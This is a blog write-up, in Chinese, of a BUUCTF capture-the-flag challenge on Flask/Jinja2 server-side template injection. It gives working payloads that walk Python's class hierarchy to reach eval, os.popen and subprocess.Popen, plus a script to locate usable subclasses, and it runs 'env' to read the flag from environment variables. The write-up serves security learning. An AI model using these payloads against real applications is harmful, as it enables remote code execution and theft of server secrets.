Buuctf [flask]SSTI

题目描述:

image-20250616212511081

典型的SSTI注入页面,我们输入49验证一下

可以确定为SSTI注入漏洞

解题思路:

1.先获取类:

1
{{''.__class__}}

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object

2.获取基类:

1
{{''.__class__.__bases__}}

3.获取基类的所有子类:

1
{{''.__class__.__bases__.__subclasses__()}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import re

# 将查找到的子类列表替换到data中
data = r'''
[<class 'type'>, <class 'weakref'>, ......]
'''

userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)

用上述脚本找出可用的类

这里有3个可用的类

os._wrap_close

warnings.catch_warnings

subprocess.Popen

4.在这个类中找他的初始化函数里面的所有全局变量(以上述166为例)

1
{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}}

有危险函数eval

flag在环境变量里?

5.代码执行

1
{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}

1
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('env').read()}}

1
{{''.__class__.__base__.__subclasses__()[245]('env',shell=True,stdout=-1).communicate()[0].strip()}}

屏幕截图 2025-06-16 211437


猫猫🐱



© 2025 子非鲲 使用 Stellar 创建
共发表 44 篇 Blog · 总计 109.6k 字